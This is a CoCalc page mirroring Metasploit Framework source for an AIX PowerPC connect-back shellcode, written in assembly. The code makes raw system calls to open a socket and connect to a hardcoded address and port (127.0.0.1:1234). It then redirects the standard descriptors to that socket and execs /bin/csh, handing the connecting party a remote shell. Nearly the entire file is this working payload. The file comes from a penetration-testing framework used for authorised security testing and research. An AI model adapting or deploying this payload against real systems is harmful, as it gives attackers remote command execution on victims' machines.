CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-cntsockcode.S
Views: 11766
1
/*
2
* aix-power-cntsockcode.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#include "aix-power.h"
36
37
.globl .main
38
.csect .text[PR]
39
40
.main:
41
42
syscallcode:
43
# xor. %r31,%r31,%r31
44
xor. %r5,%r5,%r5
45
bnel syscallcode
46
mflr %r30
47
cal %r30,511(%r30)
48
cal %r30,-511+36(%r30)
49
mtctr %r30
50
bctr
51
.long 0xff0204d2
52
.long 0x7f000001
53
crorc %cr6,%cr6,%cr6
54
.long 0x44ffff02
55
cal %r30,-8(%r30)
56
57
cntsockcode:
58
lil %r29,__CAL
59
60
# socket
61
62
# xor %r5,%r5,%r5
63
cal %r4,-__CAL+1(%r29)
64
cal %r3,-__CAL+2(%r29)
65
cal %r2,__NC_socket(%r29)
66
mtctr %r30
67
bctrl
68
mr %r28,%r3
69
70
# connect
71
72
cal %r5,-__CAL+16(%r29)
73
cal %r4,-8(%r30)
74
cal %r2,__NC_connect(%r29)
75
mtctr %r30
76
bctrl
77
78
# close
79
80
cal %r27,-__CAL+2(%r29)
81
82
0:
83
mr %r3,%r27
84
cal %r2,__NC_close(%r29)
85
mtctr %r30
86
bctrl
87
88
# kfcntl
89
90
mr %r5,%r27
91
xor %r4,%r4,%r4
92
mr %r3,%r28
93
cal %r2,__NC_kfcntl(%r29)
94
mtctr %r30
95
bctrl
96
97
ai. %r27,%r27,-1
98
bge 0b
99
100
shellcode:
101
# lil %r29,__CAL
102
xor. %r5,%r5,%r5
103
bnel shellcode
104
# mflr %r30
105
# cal %r30,511(%r30)
106
# cal %r3,-511+40(%r30)
107
# stb %r5,-511+48(%r30)
108
mflr %r24
109
cal %r24,511(%r24)
110
cal %r3,-511+40(%r24)
111
stb %r5,-511+48(%r24)
112
stu %r5,-4(%r1)
113
stu %r3,-4(%r1)
114
mr %r4,%r1
115
cal %r2,__NC_execve(%r29)
116
# crorc %cr6,%cr6,%cr6
117
# .long 0x44ffff02
118
mtctr %r30
119
bctrl
120
.asciz "/bin/csh"
121
122
123